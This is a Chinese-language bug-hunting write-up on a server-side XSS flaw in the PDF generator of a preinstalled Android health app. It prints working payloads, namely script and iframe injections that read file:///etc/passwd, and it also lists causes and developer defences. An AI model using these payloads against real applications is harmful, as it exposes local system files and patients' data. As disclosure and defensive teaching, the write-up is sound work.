挖洞经验 | 利用PDF生成器的XSS漏洞读取系统本地文件
字数 1019 2025-08-15 21:32:20

利用PDF生成器的XSS漏洞读取系统本地文件 - 技术分析文档

漏洞概述

本漏洞存在于某健康管理安卓应用的PDF生成器中,攻击者可以利用XSS(跨站脚本)漏洞读取系统本地文件,绕过应用原本的安全限制。

漏洞背景

  • 目标应用:预装在安卓系统的健康管理APP
  • 安全限制
    • 文件系统封闭不可被访问读取
    • 设置了自定义启动器(custom launcher)
    • 用户无法更改界面或访问内置接口数据
  • 业务功能:允许用户编辑病历记录并保存为PDF打印

漏洞发现过程

初始测试

  1. 在病历记录中插入基本HTML Payload测试:
    <h1>test</h1>test2
    
    • 确认PDF生成过程中会解析HTML标签

XSS验证

  1. 尝试读取本地文件的XSS Payload:

    <script>
      x=new XMLHttpRequest;
      x.onload=function(){
        document.write(this.responseText)
      };
      x.open("GET","file:///etc/passwd");
      x.send();
    </script>
    
    • 初步测试无显示
  2. 改用img标签构造:

    </iframe>')"/>
    
    • 导致应用崩溃
  3. 简化Payload成功:

    <script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>
    
    • 成功读取到/etc/passwd文件内容

技术原理

漏洞成因

  1. 服务器端XSS动态PDF生成

    • PDF生成器未对用户输入的HTML内容进行充分过滤
    • 动态生成的PDF中直接执行了JavaScript代码
  2. 本地文件读取机制

    • 通过file://协议直接访问本地文件系统
    • 使用iframe或XMLHttpRequest加载本地文件内容

利用条件

  • 应用允许用户输入HTML内容
  • PDF生成器会解析并执行HTML中的JavaScript
  • 应用运行环境允许file://协议访问

防御措施

开发者防护

  1. 输入过滤

    • 对所有用户输入进行严格的HTML实体编码
    • 使用白名单机制限制允许的HTML标签和属性
  2. 内容安全策略

    • 禁用内联JavaScript执行
    • 限制file://协议访问
  3. PDF生成安全

    • 使用专用PDF库而非HTML转PDF方式
    • 在服务器端生成PDF而非客户端
  4. 沙箱环境

    • 在受限环境中执行PDF生成过程
    • 应用最小权限原则

用户防护

  • 及时更新应用到最新版本
  • 避免在不信任的应用中输入敏感信息

技术参考

  1. Server Side XSS - Dynamic PDF
  2. Local File Read via XSS in Dynamically Generated PDF

漏洞评级

  • 严重性:高危
  • 影响:可读取系统敏感文件,绕过应用安全限制
  • 利用难度:中等

总结

本案例展示了即使在被认为"封闭"的安卓应用中,通过PDF生成器的XSS漏洞仍可能实现本地文件读取。这强调了在涉及用户内容生成的功能中实施严格输入过滤和安全编码实践的重要性。

利用PDF生成器的XSS漏洞读取系统本地文件 - 技术分析文档 漏洞概述 本漏洞存在于某健康管理安卓应用的PDF生成器中,攻击者可以利用XSS(跨站脚本)漏洞读取系统本地文件,绕过应用原本的安全限制。 漏洞背景 目标应用 :预装在安卓系统的健康管理APP 安全限制 : 文件系统封闭不可被访问读取 设置了自定义启动器(custom launcher) 用户无法更改界面或访问内置接口数据 业务功能 :允许用户编辑病历记录并保存为PDF打印 漏洞发现过程 初始测试 在病历记录中插入基本HTML Payload测试: 确认PDF生成过程中会解析HTML标签 XSS验证 尝试读取本地文件的XSS Payload: 初步测试无显示 改用img标签构造: 导致应用崩溃 简化Payload成功: 成功读取到/etc/passwd文件内容 技术原理 漏洞成因 服务器端XSS动态PDF生成 : PDF生成器未对用户输入的HTML内容进行充分过滤 动态生成的PDF中直接执行了JavaScript代码 本地文件读取机制 : 通过 file:// 协议直接访问本地文件系统 使用iframe或XMLHttpRequest加载本地文件内容 利用条件 应用允许用户输入HTML内容 PDF生成器会解析并执行HTML中的JavaScript 应用运行环境允许file://协议访问 防御措施 开发者防护 输入过滤 : 对所有用户输入进行严格的HTML实体编码 使用白名单机制限制允许的HTML标签和属性 内容安全策略 : 禁用内联JavaScript执行 限制file://协议访问 PDF生成安全 : 使用专用PDF库而非HTML转PDF方式 在服务器端生成PDF而非客户端 沙箱环境 : 在受限环境中执行PDF生成过程 应用最小权限原则 用户防护 及时更新应用到最新版本 避免在不信任的应用中输入敏感信息 技术参考 Server Side XSS - Dynamic PDF Local File Read via XSS in Dynamically Generated PDF 漏洞评级 严重性 :高危 影响 :可读取系统敏感文件,绕过应用安全限制 利用难度 :中等 总结 本案例展示了即使在被认为"封闭"的安卓应用中,通过PDF生成器的XSS漏洞仍可能实现本地文件读取。这强调了在涉及用户内容生成的功能中实施严格输入过滤和安全编码实践的重要性。